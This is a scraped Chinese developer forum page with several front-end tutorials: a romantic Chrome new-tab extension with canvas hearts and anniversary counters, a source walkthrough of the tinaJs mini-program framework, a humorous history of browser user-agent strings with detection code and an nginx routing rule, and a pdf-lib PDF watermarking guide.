    ctx.bezierCurveTo(x - 55 * z, y + 40 * z, x - 35 * z, y + 62 * z, x, y + 80 * z);

    ctx.bezierCurveTo(x + 35 * z, y + 62 * z, x + 55 * z, y + 40 * z, x + 55 * z, y + 22.5 * z);

    ctx.bezierCurveTo(x + 55 * z, y + 22.5 * z, x + 55 * z, y - 15 * z, x + 25 * z, y - 15 * z);

    ctx.bezierCurveTo(x + 10 * z, y - 15 * z, x, y - 3 * z, x, y);

  }

  ready_run.prototype = {

    to_reset: function () {

      var t = this;

      t.x = find_random(0, w);

      t.y = find_random(0, h);

      t.size = find_random(all_attribute.size_min, all_attribute.size_max);

      t.size_change = find_random(all_attribute.size_add_min, all_attribute.size_add_max);

      t.opacity = find_random(all_attribute.opacity_min, all_attribute.opacity_max);

      t.opacity_change = find_random(all_attribute.opacity_prev_min, all_attribute.opacity_prev_max);

      t.light = find_random(all_attribute.light_min, all_attribute.light_max);

      t.color = 'hsl(' + style_color + ',100%,' + t.light + '%)';

    },

    to_step: function () {

      var t = this;

      t.opacity -= t.opacity_change;

      t.size += t.size_change;

      if (t.opacity <= 0) {

        t.to_reset();

        return false;

      }

      ctx.fillStyle = t.color;

      ctx.globalAlpha = t.opacity;

      ctx.beginPath();

      arc_heart(t.x, t.y, t.size, t.size);

      ctx.closePath();

      ctx.fill();

      ctx.globalAlpha = 1;

    }

  }



  function window_resize() {

    w = window.innerWidth;

    h = window.innerHeight;

    canvas.width = w;

    canvas.height = h;

  }

  $(window).resize(function () {

    window_resize();

  });



  //返回一个介于参数1和参数2之间的随机数

  function find_random(num_one, num_two) {

    return Math.random() * (num_two - num_one) + num_one;

  }



  start();

});

复制代码
  • 因为使用了jquery的CDN，所以我们在js中就可以直接使用 $(document).ready方法

chrome-capture-2022-6-20.gif

土豪金色的标题

为了时刻展示出对 TA 的爱，我们除了在背景中体现出来之外，还可以再文字中体现出来，所以需要取一个充满爱意的标题。

<body>

  <canvas id="c" style="position: absolute;z-index: -1;text-align: center;">canvas> 

  <div class="middle">

    <h1 class="label">Every Day About Youh1>

  div>

body>

复制代码


复制代码
  • 这里引入了googleapis中的字体样式。
  • 给label一个背景，并使用了动画效果。

text_bg.png

  • 这个就是文字后面的静态图片，可以另存为然后使用的哦~

chrome-capture-2022-6-20 (1).gif

百度搜索框

对于你心爱的 TA 来说，不管干什么估计都得用百度直接搜出来，就算是看个优酷、微博都不会记住域名，都会直接去百度一下，所以我们需要在标签页中直接集成百度搜索。让 TA 可以无忧无虑的搜索想要的东西。

由于现在百度搜索框不能直接去站长工具中获取了，所以我们可以参考掘金标签页插件中的百度搜索框。

1.gif

根据掘金的标签页插件我们可以发现，输入结果之后，直接跳转到百度的网址，并在url后面携带了一个 wd 的参数，wd 也就是我们输入的内容了。

http://www.baidu.com/s?wd=这里是输入的…

<div class="search">

  <input id="input" type="text">

  <button>百度一下button>

div>

复制代码


复制代码
.search {

  width: 750px;

  height: 50px;

  margin: auto;

  display: flex;

  justify-content: center;

  align-content: center;

  min-width: 750px;

  position: relative;

}



input {

  width: 550px;

  height: 40px;

  border-right: none;

  border-bottom-left-radius: 10px;

  border-top-left-radius: 10px;

  border-color: #f5f5f5;

  /* 去除搜索框激活状态的边框 */

  outline: none;

}



input:hover {

  /* 鼠标移入状态 */

  box-shadow: 2px 2px 2px #ccc;

}



input:focus {

  /* 选中状态,边框颜色变化 */

  border-color: rgb(78, 110, 242);

}



.search span {

  position: absolute;

  font-size: 23px;

  top: 10px;

  right: 170px;

}



.search span:hover {

  color: rgb(78, 110, 242);

}



button {

  width: 100px;

  height: 44px;

  background-color: rgb(78, 110, 242);

  border-bottom-right-radius: 10px;

  border-top-right-radius: 10px;

  border-color: rgb(78, 110, 242);

  color: white;

  font-size: 14px;

}

复制代码

chrome-capture-2022-6-20 (2).gif

关于 TA

这里可以放置你们之间的一些生日，纪念日等等，也可以放置你想放置的任何浪漫，仪式感满满~

如果你不记得两个人之间的纪念日，那就换其他的日子吧。比如你和 TA 闺蜜的纪念日也可以。

<body>

  <canvas id="c" style="position: absolute;z-index: -1;text-align: center;">canvas> 

  <div class="middle">

    <h1 class="label">Every Day About Youh1>

    <div class="time">

      <span>

        <div id="d">

          00

        div>

        Love day

      span> <span>

        <div id="h">

          00

        div>

        First Met

      span> <span>

        <div id="m">

          00

        div>

        birthday

      span> <span>

        <div id="s">

          00

        div>

        age

      span>

    div>

  div>

  <script type="text/javascript" src="demo.js">script>

body>

复制代码
  • 这里我定义了四个日期，恋爱纪念日、相识纪念日、TA 的生日、TA 的年龄。
  • 在页面最后引用了一个js文件，主要是等待页面渲染完成之后调用js去计算日期的逻辑。
恋爱纪念日
var date1 = new Date('2019-10-07')

var date2 = new Date()



var s1 = date1.getTime(),

  s2 = date2.getTime();



var total = (s2 - s1) / 1000;



var day = parseInt(total / (24 * 60 * 60)); //计算整数天数



const d = document.getElementById("d");



d.innerHTML = getTrueNumber(day);



复制代码
相识纪念日
var date1 = new Date('2019-09-20')

var date2 = new Date()



var s1 = date1.getTime(),

  s2 = date2.getTime();



var total = (s2 - s1) / 1000;



var day = parseInt(total / (24 * 60 * 60)); //计算整数天数



h.innerHTML = getTrueNumber(day);

复制代码
公共方法(将计算出来的日子转为绝对值)
const getTrueNumber = x => (x < 0 ? Math.abs(x) : x);

复制代码

chrome-capture-2022-6-20 (3).gif

由于生日和年龄的计算代码有些多，所以放在码上掘金中展示了。

添加到chrome浏览器中

image.png

开发完成之后，所有的文件就是这样的了，里面的icon可以根据自己的喜好去设计或者网上下载。

使用chrome浏览器打开：chrome://extensions/ 即可跳转到添加扩展程序页面。

2.gif

  • 打开右上角的开发者模式
  • 点击加载已解压的扩展程序
  • 选择自己的chrome标签页项目目录即可

3.gif

总结一下

为了让心爱的 TA 开心，作为程序员的我们可谓是煞费苦心呀！！

在给对象安装插件的时候，发现了一个小问题，可能是chrome版本原因，导致jquery的cdn无法直接引用，所以可能需要手动把jquery保存到项目文件中，然后在manifest.json配置js的地方把jquery的js加上即可。

码上掘金中我已经把jquery的代码、canvas的代码、计算纪念日的代码都放进去了，可以直接复制到自己项目中哦！！！

七夕节快到了，祝愿天下有情人终成眷属！

来源：juejin.cn/post/7122332008252080142

收起阅读 »
上帝之眼 发表于 : 2022-07-21 18:09 评论 (0) 分享

tinaJs 源码分析

微信小程序
是什么为了避免混淆 tina 和原生的一些概念，这里先说明一下一些词的含义开局先来预览一下 Page.define 的流程// tina/class/page.jsclass Page extends Basic {  static mixins =...
继续阅读 »

目前公司团队小程序框架使用的是 tinaJs，这篇文章将讲解这个框架的源码。阅读文章时可以对照着这个小工程阅读源码，这个小工程主要是对 tina 加了更多的注释及示例。

是什么

tinaJs 是一款轻巧的渐进式微信小程序框架，不仅能充分利用原生小程序的能力，还易于调试。
这个框架主要是对 Component、Page 两个全局方法进行了封装，本文主要介绍 tinaJS 1.0.0 的 Paeg.define 内部做了些什么。Component.define 与 Paeg.define相似，理解 Paeg.define 之后自然也就理解 Component.define。为什么是讲解 1.0.0 ？因为第一个版本的代码相对于最新版本主干内容更更清晰更容易上手。


概览

为了避免混淆 tina 和原生的一些概念，这里先说明一下一些词的含义

  • wx-Page - 原生 Page 对象

  • tina-Page - tina/class/page 这个类

  • wxPageOptions - 构建原生 Page 实例的 options

  • tinaPageOptions - 构建原生 tina-Page 实例的 options

开局先来预览一下 Page.define 的流程

// tina/class/page.js
class Page extends Basic {
  static mixins = []
  static define(tinaPageOptions = {}) {
    // 选项合并
    tinaPageOptions = this.mix(/*....*/)
    
    // 构建原生 options 对象
    let wxPageOptions = {/*.....*/}
    
    // 在原生 onLoad 时做拦截，关联 wx-Page 对象和 tina-Page 对象
    wxPageOptions = prependHooks(wxPageOptions, {
      onLoad() {
        // this 是小程序 wx-Page 实例
        // instance 是这个 tina-Page 实例
        let instance = new Page({ tinaPageOptions })
        // 建立关联
        this.__tina_instance__ = instance
        instance.$source = this
      }
    })
    
    // 构造 wx-Page 对象
    new globals.Page({
       // ...
       ...wxPageOptions,
     })
  }
  constructor({ tinaPageOptions = {} }) {
    super()
    //.......
  }
  get data() {
   return this.$source.data
  }
}

下面针对每个小流程做讲解

mix

tina 的 mixin 是靠 js 对对象做合并实现的，并没有使用原生的 behaviors

tinaPageOptions = this.mix(PAGE_INITIAL_OPTIONS, [...BUILTIN_MIXINS, ...this.mixins, ...(tinaPageOptions.mixins || []), tinaPageOptions])

tinaJs 1.0.0 只支持一种合并策略，跟 Vue 的默认合并策略一样

  • 对于 methods 就是后面的覆盖前面的

  • 对于生命周期勾子和特殊勾子（onPullDownRefresh 等），就是变成一个数组，还是后面的先执行

  • 也就是 tinaPageOptions.mixins > Page.mixins（全局 mixin） > BUILTIN_MIXINS

合并后可以得到这样一个对象

{
  // 页面
  beforeLoad: [$log.beforeLoad, options.beforeLoad],
  onLoad: [$initial.onLoad, options.onLoad],
  onHide: [],
  onPageScroll: [],
  onPullDownRefresh: [],
  onReachBottom: [],
  onReady: [],
  onShareAppMessage: [],
  onShow: [],
  onUnload: [],
  // 组件
  attached: Function,
  compute: Function,
  created: $log.created,
  // 页面、组件共用
  data: tinaPageOptions.data,
  methods: tinaPageOptions.methods,
  mixins: [],
}

合并后是创建 wx-Page 对象，至于创建 wx-Page 对象过程做了什么，为了方便理解整个流程，在这里暂时先跳过讲解，放在后面 改变执行上下文 小节再讲解。

关联 wx-Page、tina-Page

为了绑定 wx-Page 对象，tina 在 wx-onLoad 中追加了一些操作。
prependHooks 是作用是在 wxPageOptions[hookName] 执行时追加 handlers[hookName] 操作，并保证 wxPageOptions[hookName]、handlers[hookName] 的执行上下文是原生运行时的 this

// tina/class/page
wxPageOptions = prependHooks(wxPageOptions, {
  onLoad() {
    // this 是 wxPageOptions
    // instance 是 tina-Page 实例
    let instance = new Page({ tinaPageOptions })
    // 建立关联
    this.__tina_instance__ = instance
    instance.$source = this
  }
})


// tina/utils/helpers.js

/**
 * 在 wx-page 生命周期勾子前追加勾子
 * @param {Object} context
 * @param {Array} handlers
 * @return {Object}
 */
export const prependHooks = (context, handlers) =>
 addHooks(context, handlers, true)

function addHooks (context, handlers, isPrepend = false) {
  let result = {}
  for (let name in handlers) {
    // 改写 hook 方法
    result[name] = function handler (...args) {
      // 小程序运行时, this 是 wxPageOptions
      if (isPrepend) {
        // 执行 tina 追加的 onLoad
        handlers[name].apply(this, args)
      }
      if (typeof context[name] === 'function') {
        // 执行真正的 onLoad
        context[name].apply(this, args)
      }
      // ...
    }
  }
  return {
    ...context,
    ...result,
  }
}

构建 tina-Page

接下来再来看看 new Page 做了什么

  constructor({ tinaPageOptions = {} }) {
    super()
    // 创建 wx-page options
    let members = {
      // compute 是 tina 添加的方法
      compute: tinaPageOptions.compute || function () {
        return {}
      },
      ...tinaPageOptions.methods,
      // 用于代理所有生命周期（包括 tina 追加的 beforeLoad）
      ...mapObject(pick(tinaPageOptions, PAGE_HOOKS), (handlers) => {
        return function (...args) {
          // 因为做过 mixin 处理，一个生命周期会有多个处理方法
          return handlers.reduce((memory, handler) => {
            const result = handler.apply(this, args.concat(memory))
            return result
          }, void 0)
        }
      }),
      // 以 beforeLoad、onLoad 为例，以上 mapObject 后追加的生命周期处理方法实际执行时是这样的
      // beforeLoad(...args) {
      //  return [onLoad1、onLoad2、.....].reduce((memory, handler) => {
      //    return handler.apply(this, args.concat(memory))
      //  }, void 0)
      //},
      // onLoad(...args) {
      //   return [onShow1、onShow2、.....].reduce((memory, handler) => {
      //     return handler.apply(this, args.concat(memory))
      //   }, void 0)
      // },
    }

    // tina-page 代理所有属性
    for (let name in members) {
      this[name] = members[name]
    }

    return this
  }

首先是将 tinaPageOptions 变成跟 wxPageOptions 一样的结构，因为 wxPageOptions 的 methods 和 hooks 都是在 options 的第一层的，所以需要将将 methods 和 hooks 铺平。
又因为 hooks 经过 mixins 处理已经变成了数组，所以需要遍历执行，每个 hooks 的第二个参数都是之前累积的结果。然后通过简单的属性拷贝将所有方法拷贝到 tina-Page 实例。

改变执行上下文

上面提到构建一个属性跟 wx-Page 一模一样的 tina-Page 对象，那么为什么要这样呢？一个框架的作用是什么？我认为是在原生能力之上建立一个能够提高开发效率的抽象层。现在 tina 就是这个抽象层，
举个例子来说就是我们希望 methods.foo 被原生调用时，tina 能在 methods.foo 里做更多的事情。所以 tina 需要与原生关联使得所有本来由原生处理的东西转交到 tina 这个抽象层处理。
那 tina 是如何处理的呢。我们先来看看创建 wxPageOptions 的源码

// tina/class/page.js
let wxPageOptions = {
  ...wxOptionsGenerator.methods(tinaPageOptions.methods),
  ...wxOptionsGenerator.lifecycles(
    inUseOptionsHooks,
    (name) => ADDON_BEFORE_HOOKS[name]
  ),
 }


// tina/class/page.js
/**
 * wxPageOptions.methods 中的改变执行上下文为 tina.Page 对象
 * @param {Object} object
 * @return {Object}
 */
export function methods(object) {
  return mapObject(object || {}, (method, name) => function handler(...args) {
    let context = this.__tina_instance__
    return context[name].apply(context, args)
  })
}

答案就在 wxOptionsGenerator.methods。上面说过在 onLoad 的时候会绑定 __tina_instance__ 到 wx-Page，同时 wx-Page 与 tina-Page 的属性都是一模一样的，所以调用会被转发到 tina 对应的方法。这就相当于 tina 在 wx 之上做了一个抽象层。所有的被动调用都会被 tina 处理。而且因为上下文是 __tina_instance__ 的缘故，
所有主动调用都先经过 tina 再到 wx。结合下面两个小节会有更好的理解。


追加生命周期勾子

上面创建 wxPageOptions 时有这么一句 wxOptionsGenerator.lifecycles 代码，这是 tina 用于在 onLoad 之前加多一个 beforeLoad 生命周期勾子，这个功能是怎么做的呢，我们来看看源码

// tina/utils/wx-options-generator

/**
 * options.methods 中的改变执行上下文为 tina.Page 对象
 * @param {Array} hooks
 * @param {Function} getBeforeHookName
 * @return {Object}
 */
export function lifecycles(hooks, getBeforeHookName) {
  return fromPairs(hooks.map((origin) => {
    let before = getBeforeHookName(origin) // 例如 'beforeLoad'
    return [
      origin, // 例如 'load'
      function wxHook() {
        let context = this.__tina_instance__
        // 调用 tina-page 的方法，例如 beforeLoad
        if (before && context[before]) {
          context[before].apply(context, arguments)
        }
        if (context[origin]) {
          return context[origin].apply(context, arguments)
        }
      }
    ]
  }))
}

其实就是改写 onLoad ，在调用 tina-Page.onLoad 前先调用 tina-Page.beforeLoad。可能有的人会有疑问，为什么要加个 beforeLoad 勾子，这跟直接 onLoad 里不都一样的么。
举个例子，很多时候我们在 onLoad 拿到 query 之后是不是都要手动去 decode，利用全局 mixins 和 beforeLoad，可以一次性把这个事情做了。

Page.mixins = [{
  beforeLoad(query) {
    // 对 query 进行 decode
    // 对 this.$options 进行 decode
  }
}]

还有一点需要注意的是，tina 源码中了多次对 onLoad 拦截，执行顺序如下

prependHooks.addHooks.handler -> wx-Page.onLoad，关联 wx-Page、tinaPage -> 回到 prependHooks.addHooks.handler -> lifecycles.wxHook -> tina-Page.beforeLoad -> tina-Page.onLoad

如下图所示


compute 实现原理

因为运行时的上下文都被 tina 改为 tina-Page，所以开发者调用的 this.setData， 实际上的 tina-Page 的 setData 方法，又因为 tina-Page 继承自 Basic，也就调用 Basic 的 setData 方法。下面看看 setData 的源码

setData(newer, callback = () => {}) {
  let next = { ...this.data, ...newer }
  if (typeof this.compute === 'function') {
    next = {
      ...next,
      ...this.compute(next),
    }
  }
  next = diff(next, this.data)
  this.constructor.log('setData', next)
  if (isEmpty(next)) {
    return callback()
  }
  this.$source.setData(next, callback)
}

从源码可以看到就是每次 setData 的时候调用一下 compute 更新数据，这是 compute 的原理，很容易理解吧。

前面 mix 小节提到，tina 会合并一些内置选项，可以看到在 onLoad 时会调用this.setData，为了初始化 compute 属性。

// mixins/index.js

function initial() {
  // 为了初始化 compute 属性
  this.setData()
  this.$log('Initial Mixin', 'Ready')
}

export const $initial = {
  // ...
  onLoad: initial,// 页面加载完成勾子
}

小结

到此基本上把 Page.define 主干流程讲完，如有疑问欢迎留言

参考

来源：segmentfault.com/a/1190000021949561

收起阅读 »
上帝之眼 发表于 : 2022-07-17 20:30 评论 (0) 分享

浏览器检测之趣事

web
1 那段历史在开发过程中，我们通常用用户代理字符串—浏览器端 window.navigator.userAgent或者服务器端header携带的user-agent —来用于检测当前浏览器是否为移动端， 比如：if(isMobile()) { // 移动端逻...
继续阅读 »

1 那段历史

在开发过程中，我们通常用用户代理字符串—浏览器端 window.navigator.userAgent或者服务器端header携带的user-agent —来用于检测当前浏览器是否为移动端， 比如：

if(isMobile()) {
  // 移动端逻辑...
}

function isMobile () {
    const versions = (function () {
        const u = window.navigator.userAgent // 服务器端：req.header('user-agent')
        return {
          trident: u.indexOf('Trident') > -1, // IE内核
          presto: u.indexOf('Presto') > -1, // opera内核
          webKit: u.indexOf('AppleWebKit') > -1, // 苹果、谷歌内核
          gecko: u.indexOf('Gecko') > -1 && u.indexOf('KHTML') === -1, // 火狐内核
          mobile: !!u.match(/AppleWebKit.*Mobile.*/), // 是否为移动终端
          ios: !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/), // ios终端
          android: u.indexOf('Android') > -1 || u.indexOf('Linux') > -1, // android终端或者uc浏览器
          iPhone: u.indexOf('iPhone') > -1, // 是否为iPhone或者QQHD浏览器
          iPad: u.indexOf('iPad') > -1, // 是否iPad
          webApp: u.indexOf('Safari') === -1
       }
    }())
    return versions.mobile || versions.ios || versions.android || versions.iPhone || versions.iPad
}

我在使用时心里一直有疑问，一个移动端，为什么要做那么多判断呢？

目前我的 Chrome 浏览器：


看到这么一长串字符串，我表示更懵逼， Mozilla不是firefox的厂商么？这是 Chrome 浏览器，又怎么会有 “Safari” 的关键字？那个 “like Gecko” 又是什么鬼？

于是抱着这些疑问， 我打算好好深入了解一下浏览器检测这部分，没想到在学习过程中发现了挺有意思的事情，待我慢慢道来，大家也听个乐呵。

首先始于客户端与服务器端通信，要求携带名称与版本信息，于是服务器端与客户端协定好在每个HTTP请求的头部加上用户代理字符串(userAgent)，方便服务器端进行检测，检测通过之后再进行后续操作。

早期的用户代理字符串(userAgent)很简单， 就 "产品名称/产品版本号"，比如："Mosaic/0.9"。93年之后，网景公司发布的Netscape Navigator 系列浏览器渐渐成为了当时最受欢迎的浏览器，于是它拥有了规则制定权，说从此以后我的用户代理字符串就为：


这时肯定有人会问，"Mozilla" 是网景公司为 Netscape 浏览器定义的代号，既然站在“食物链”顶端，那当然得用自己的命名，这能理解。可为啥直到现在，大部分主流浏览器的用户代理字符串(userAgent)，第一个名称也是 “Mozilla” 呢？

这就是我即将要讲的， 第一根搅屎棍——微软。

96年，微软推出了 IE3, 而当时 Netscape Navigator3 的市场占有率太高，微软说，为了兼容 Netscape Navigator3， IE的用户代理字符串从此就为：


看到没有， 第一个名称还是 “Mozilla”，这个误导信息可以直接骗过服务器检测，而真正的 IE 版本放到后面去了。

大概意思就是初出茅庐的IE小同学怕自己知名度太低，万一服务端检测不到自己，用户流失了怎么办？隔壁老大哥家大业大，那就干脆去蹭波流量吧。关键是蹭流量就蹭流量吧，还嘴硬说我这可是Mozilla/2.0哦，不是Mozilla/3.0哦，跟那个Netscape Navigator3 不能说没有关系，只能说毫不相干。于是，IE成功地将自己伪装成了 Netscape Navigator。

这在当时来说是有争议，但不得不说， 微软这波操作相当精准。精准到直到97年 IE4 发布时，IE 的市场份额大幅增加，有了点话语权，也不藏着掖着了， 就跟 Netscape 同时将版本升级到了 Mozilla/4.0， 之后就一直保持同步了。

看到 IE 这波操作，场外观众有点坐不住了，更多的浏览器厂商沿着IE的老路，蹭着 Netscape 的流量，在此基础上依葫芦画瓢地设定自己的用户代理字符串(userAgent)。直到 Gecko 渲染引擎 (firefox的核心) 开始大流行，用户代理字符串(userAgent)基本已经形成了一个比较标准格式，服务端检测也能识别到 “Mozilla”、“Geoko” 等关键字，与之前字符串相比， 还增加了引擎、语言信息等等。


接下来我要说第二根搅屎棍——苹果。

2003年，苹果发布了 Safari, 它说，我的浏览器用户代理字符串是这样的：


Safari 用的渲染引擎是WebKit, 不是Gecko，它的核心是在渲染引擎KHTML基础上进行开发的，但是当时大部分浏览器的用户代理字符串(userAgent)都包含了 “Mozilla”、“Gecko”等关键字供服务器端检测。

苹果昂着脸，维持着表面的高傲，表示我的 WebKit 天下无敌、傲视群雄， 心里却颤颤发抖，小心翼翼地在用户代理字符串里加了个“like Gecko”，假装我是Gecko ？！

这波操作可谓是又当又立的典范！

我想可能心理阴影最大的要属 Netscape 了，本来 IE 来白嫖一波也就算了，你Safari 也要来，而且本身苹果的影响力就不容小觑，你再进来插一脚，让我以后怎么生存？但苹果说：“Safari 与 Mozilla 兼容，不能让网站以为用户使用了不受支持的浏览器而把 Safari 排斥在外。”大概意思是，我就是要白嫖， 怎么样？可以说是相当不要脸了。

不过至少苹果还有点藏着掖着， 而 Chrome 就有点不讲武德，它说，成年人的世界不做选择， 我想要的我都要：


Chrome 的渲染引擎是 Blink , Javascript引擎是 V8， 但它的用户代理字符串(userAgent)中， 不仅包含了“Mozilla”、“like Gecko”，还包含了 “WebKit” 的引擎信息， 几乎把能嫖的都嫖了， 只多了一个 “Chrome” 名称和版本号，甚至都没有一个 “Blink” 关键字，节操碎了一地，简直触目惊心，令人叹为观止。

到这里就不得不提一嘴高冷的Opera，直到Opera 8，用户代理字符串(userAgent)一直都是 “Opera/Version (OS-or-CPU; Encryption [; language])”

Opera 一直给人一种世人皆醉我独清、出淤泥而不染的气概。到直到 Opera9 画风突然变了， 估计也是看到几个大厂商各种骚操作，有点绷不住了，也跑去蹭流量。心态虽然崩但高冷人设不能崩，我就是不走寻常路，于是秀了一波玄学操作，它搞了两套用户代理字符串(userAgent)：


场外观众表示有点看不懂， 蹭完 Firefox 又去蹭 IE，还得分开蹭，这哪是秀操作， 这可是秀智商啊！纵观浏览器发展的这几十年，大概就是长江后浪推前浪，后浪还没把前浪踩死在沙滩上，后后浪又踩过来的一段历史吧。就在这历史的溪流中，用户代理字符串(userAgent)也已经形成了一个比较标准的格式。

目前，各个浏览器的用户代理字符串(userAgent)始终包含着以下信息：


至于后来移动端的 IOS 和 Andriod 基本的格式就成了：


这里的Mobile可能是 “iphone”、“ipad”、“BlackBerry”等等，Andriod设备的OS-or-CPU通常都是“Andriod”或“Linux”。所以，回到开头的isMobile检测函数内部，一大堆的检测判断条件， 简直就是一粒粒历史尘埃的堆叠。

同时，本地Chrome浏览器输出：


我也可以翻译一下，大概意思就是，白嫖的Mozilla/5.0 + Macintosh平台 + Mac OS操作系统 × 10_15_7版本白嫖的AppleWebKit引擎/537.36引擎版本号 (KHTML内核， like Gecko 假装我是Gecko) Chrome浏览器/浏览器版本号99.0.4844.84 白嫖的Safari/Sarari版本号537.36。

本人表示很精彩， 一个用户代理字符串犹如看了一场轰轰烈烈(巨不要脸)、你挣我夺(你蹭我蹭)的大戏！

2 第三方插件

接下来， 为懒人推荐几款用于浏览器检测的省事的第三方插件。

1、如果只是检测设备是否为手机端， 可以用 isMobile ，它支持在node端或浏览器端使用。

地址：https://github.com/kaimallea/isMobile

2、如果要检测设备的类型、版本、CPU等信息，可以用 UAParser ，它支持在node端或浏览器端使用。

地址：https://github.com/faisalman/ua-parser-js

3、vue插件，vue-browser-detect-plugin

地址：https://github.com/ICJIA/vue-browser-detect-plugin

4、react插件，react-device-detect

地址：https://github.com/duskload/react-device-detect

5、在不同平台，要在Html中设置对应平台的CSS，可以用 current-device

地址：https://github.com/matthewhudson/current-device

需要注意的是， 第三方插件虽好用， 但也要注意安全问题哦，之前 UAParser 就被曝出被遭遇恶意投毒，所以只是简单的检测尽量手写。

3 移动端与PC端分流

移动端与PC端分流，可以用 nginx 来操作， nginx 可以通过 $http_user_agent 直接拿到用户代理信息：

http { 
  server {
      listen 80;
        server_name localhost;
        location / {
           root /usr/share/nginx/pc; #pc端代码目录
           if ($http_user_agent ~* '(Android|webOS|iPhone|iPod|BlackBerry)') {
            root /usr/share/nginx/mobile; #移动端代码目录
           }
       index index.html;
        }
  }
}

来源：八戒技术团队

收起阅读 »
上帝之眼 发表于 : 2022-07-13 09:15 评论 (0) 分享

前端 PDF 水印方案

web
场景：前端下载 pdf 文件的时候，需要加上水印，再反给用户下载 用到的库：pdf-lib (文档) @pdf-lib/fontkit 字体：github 方案目标：logo图 + 中文 + 英文 + 数字 => 透明水印首先安装 pdf-lib: 它是...
继续阅读 »

场景：前端下载 pdf 文件的时候，需要加上水印，再反给用户下载
用到的库：pdf-lib (文档) @pdf-lib/fontkit
字体：github
方案目标：logo图 + 中文 + 英文 + 数字 => 透明水印

首先安装 pdf-lib: 它是前端创建和修改 PDF 文档的一个工具（默认不支持中文，需要加载自定义字体文件）

npm install --save pdf-lib

安装 @pdf-lib/fontkit：为 pdf-lib 加载自定义字体的工具

npm install --save @pdf-lib/fontkit

没有使用pdf.js的原因是因为：

  1. 会将 PDF 转成图片，无法选中

  2. 操作后 PDF 会变模糊

  3. 文档体积会变得异常大

实现：

首先我们的目标是在 PDF 文档中，加上一个带 logo 的，同时包含中文、英文、数字字符的透明水印，所以我们先来尝试着从本地加载一个文件，一步步搭建。

1. 获取 PDF 文件

本地：

// <input type="file" name="pdf" id="pdf-input">

let input = document.querySelector('#pdf-input');
input.onchange = onFileUpload;

// 上传文件
function onFileUpload(e) {
  let event = window.event || e;

  let file = event.target.files[0];
}

除了本地上传文件之外，我们也可以通过网络请求一个 PDF 回来，注意响应格式为 blob 。
网络：

var x = new XMLHttpRequest();
x.open("GET", url, true);
x.responseType = 'blob';
x.onload = function (e) {
  let file = x.response;
}
x.send();

// 获取直接转成 pdf-lib 需要的 arrayBuffer
// const fileBytes = await fetch(url).then(res => res.arrayBuffer())

2. 文字水印

在获取到 PDF 文件数据之后，我们通过 pdf-lib 提供的接口来对文档做修改。

// 修改文档
async function modifyPdf(file) {
  const pdfDoc = await PDFDocument.load(await file.arrayBuffer());

  // 加载内置字体
  const helveticaFont = await pdfDoc.embedFont(StandardFonts.Courier);

  // 获取文档所有页
  const pages = pdfDoc.getPages();

  // 文字渲染配置
  const drawTextParams = {
    lineHeight: 50,
    font: helveticaFont,
    size: 12,
    color: rgb(0.08, 0.08, 0.2),
    rotate: degrees(15),
    opacity: 0.5,
  };

  for (let i = 0; i < pages.length; i++) {
    const page = pages[i];

    // 获取当前页宽高
    const { width, height } = page.getSize();

    // 要渲染的文字内容
    let text = "water 121314";

    for (let ix = 1; ix < width; ix += 230) { // 水印横向间隔
      let lineNum = 0; 
      for (let iy = 50; iy <= height; iy += 110) { // 水印纵向间隔
        lineNum++;
        
        page.drawText(text, {
          x: lineNum & 1 ? ix : ix + 70,
          y: iy,
          ...drawTextParams,
        });
      }
    }
  }

来看一下现在的效果

3. 加载本地 logo

在加载图片这块，我们最终想要的其实是图片的 Blob 数据，获取网图的话，这里就不做介绍了，下边主要着重介绍一下，如何通过 js 从本地加载一张图。
先贴上代码：

//  加载 logo blob 数据
~(function loadImg() {
  let img = new Image();
  img.src = "./water-logo.png";

  let canvas = document.createElement("canvas");
  let ctx = canvas.getContext("2d");

  img.crossOrigin = "";
  img.onload = function () {
    canvas.width = this.width;
    canvas.height = this.height;

    ctx.fillStyle = "rgba(255, 255, 255, 1)"; 
    ctx.fillRect(0, 0, canvas.width, canvas.height);

    ctx.drawImage(this, 0, 0, this.width, this.height);
    canvas.toBlob(
      function (blob) {
        imgBytes = blob;  // 保存数据到 imgBytes 中
      },
      "image/jpeg",
      1
    ); // 参数为输出质量
  };
})();

首先通过一个自执行函数，在初期就自动加载 logo 数据，当然我们也可以根据实际情况做相应的优化。
整体的思路就是，首先通过 image 元素来加载本地资源，再将 img 渲染到 canvas 中，再通过 canvas 的 toBlob 来得到我们想要的数据。

在这块我们需要注意两行代码：

ctx.fillStyle = "rgba(255, 255, 255, 1)"; 
ctx.fillRect(0, 0, canvas.width, canvas.height);

如果我们不加这两行代码的话，同时本地图片还是透明图，最后我们得到的数据将会是一个黑色的方块。所以我们需要在 drawImage 之前，用白色填充一下 canvas 。

4. 渲染 logo

在渲染 logo 图片到 PDF 文档上之前，我们还需要和加载字体类似的，把图片数据也挂载到 pdf-lib 创建的文档对象上（pdfDoc），其中 imgBytes 是我们已经加载好的图片数据。

let _img = await pdfDoc.embedJpg(await imgBytes.arrayBuffer());

挂载完之后，做一些个性化的配置

page.drawImage(_img, {
  x: lineNum & 1 ? ix - 18 : ix + 70 - 18, // 奇偶行的坐标
  y: iy - 8,
  width: 15,
  height: 15,
  opacity: 0.5,
});

5. 查看文档

这一步的思路就是先通过 pdf-lib 提供的 save 方法，得到最后的文档数据，将数据转成 Blob，最后通过 a 标签打开查看。

// 保存文档 Serialize the PDFDocument to bytes (a Uint8Array)
  const pdfBytes = await pdfDoc.save();

  let blobData = new Blob([pdfBytes], { type: "application/pdf;Base64" });

  // 新标签页预览
  let a = document.createElement("a");
  a.target = "_blank";
  a.href = window.URL.createObjectURL(blobData);
  document.body.appendChild(a);
  a.click();
  document.body.removeChild(a);

到目前的效果

6. 中文字体

由于默认的 pdf-lib 是不支持渲染中文的
Uncaught (in promise) Error: WinAnsi cannot encode "水" (0x6c34)

所以我们需要加载自定义字体，但是常规的字体文件都会很大，为了使用，需要将字体文件压缩一下，压缩好的字体在文档头部，包含空格和基础的3500字符。
压缩字体用到的是 gulp-fontmin 命令行工具，不是客户端。具体压缩方法，可自行搜索。

在拿到字体之后（ttf文件），将字体文件上传到网上，再拿到其 arrayBuffer 数据。之后再结合 pdf-lib 的文档对象，对字体进行注册和挂载。同时记得将文字渲染的字体配置改过来。

// 加载自定义字体
const url = 'https://xxx.xxx/xxxx';
const fontBytes = await fetch(url).then((res) => res.arrayBuffer());

// 自定义字体挂载
pdfDoc.registerFontkit(fontkit)
const customFont = await pdfDoc.embedFont(fontBytes)

// 文字渲染配置
  const drawTextParams = {
    lineHeight: 50,
